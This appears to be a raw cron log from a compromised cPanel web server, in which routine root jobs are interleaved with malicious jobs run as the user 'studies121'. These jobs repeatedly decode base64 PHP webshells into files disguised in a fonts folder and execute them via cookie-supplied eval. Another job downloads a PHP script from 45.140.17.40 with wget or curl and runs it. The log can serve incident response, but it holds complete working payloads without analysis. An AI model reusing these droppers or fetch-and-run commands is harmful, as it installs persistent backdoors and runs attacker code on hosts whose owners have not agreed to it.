Sep  4 03:42:01 ip-184-168-122-23 CROND[14269]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 03:42:01 ip-184-168-122-23 CROND[14268]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:43:01 ip-184-168-122-23 CROND[14400]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 03:43:01 ip-184-168-122-23 CROND[14403]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:43:01 ip-184-168-122-23 CROND[14401]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:43:01 ip-184-168-122-23 CROND[14402]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 03:44:01 ip-184-168-122-23 CROND[14494]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 03:44:01 ip-184-168-122-23 CROND[14496]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 03:44:01 ip-184-168-122-23 CROND[14497]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:44:01 ip-184-168-122-23 CROND[14498]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:44:01 ip-184-168-122-23 CROND[14499]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 03:45:01 ip-184-168-122-23 CROND[14636]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 03:45:01 ip-184-168-122-23 CROND[14638]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 03:45:01 ip-184-168-122-23 CROND[14639]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:45:01 ip-184-168-122-23 CROND[14640]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 03:45:01 ip-184-168-122-23 CROND[14641]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 03:45:01 ip-184-168-122-23 CROND[14642]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:46:01 ip-184-168-122-23 CROND[14857]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 03:46:01 ip-184-168-122-23 CROND[14859]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 03:46:01 ip-184-168-122-23 CROND[14860]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  4 03:46:01 ip-184-168-122-23 CROND[14863]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:46:01 ip-184-168-122-23 CROND[14864]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:46:01 ip-184-168-122-23 CROND[14862]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 03:46:01 ip-184-168-122-23 CROND[14861]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 03:47:01 ip-184-168-122-23 CROND[14993]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 03:47:01 ip-184-168-122-23 CROND[14996]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 03:47:01 ip-184-168-122-23 CROND[14997]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:47:01 ip-184-168-122-23 CROND[14998]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:48:01 ip-184-168-122-23 CROND[15084]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 03:48:01 ip-184-168-122-23 CROND[15086]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 03:48:01 ip-184-168-122-23 CROND[15088]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 03:48:01 ip-184-168-122-23 CROND[15087]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:48:01 ip-184-168-122-23 CROND[15089]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:49:01 ip-184-168-122-23 CROND[15211]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:49:01 ip-184-168-122-23 CROND[15214]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 03:49:01 ip-184-168-122-23 CROND[15215]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 03:49:01 ip-184-168-122-23 CROND[15221]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:50:01 ip-184-168-122-23 CROND[15344]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 03:50:01 ip-184-168-122-23 CROND[15350]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:50:01 ip-184-168-122-23 CROND[15348]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 03:50:01 ip-184-168-122-23 CROND[15351]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 03:50:01 ip-184-168-122-23 CROND[15352]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 03:50:01 ip-184-168-122-23 CROND[15349]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 03:50:01 ip-184-168-122-23 CROND[15355]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 03:50:01 ip-184-168-122-23 CROND[15353]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 03:50:01 ip-184-168-122-23 CROND[15354]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:51:01 ip-184-168-122-23 CROND[15503]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:51:01 ip-184-168-122-23 CROND[15505]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 03:51:01 ip-184-168-122-23 CROND[15506]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 03:51:01 ip-184-168-122-23 CROND[15508]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:52:01 ip-184-168-122-23 CROND[15689]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 03:52:01 ip-184-168-122-23 CROND[15692]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 03:52:01 ip-184-168-122-23 CROND[15694]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:52:01 ip-184-168-122-23 CROND[15691]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 03:52:01 ip-184-168-122-23 CROND[15693]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:53:01 ip-184-168-122-23 CROND[15834]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 03:53:01 ip-184-168-122-23 CROND[15835]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:53:01 ip-184-168-122-23 CROND[15840]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 03:53:01 ip-184-168-122-23 CROND[15841]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:54:01 ip-184-168-122-23 CROND[15956]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:54:01 ip-184-168-122-23 CROND[15958]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 03:54:01 ip-184-168-122-23 CROND[15959]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
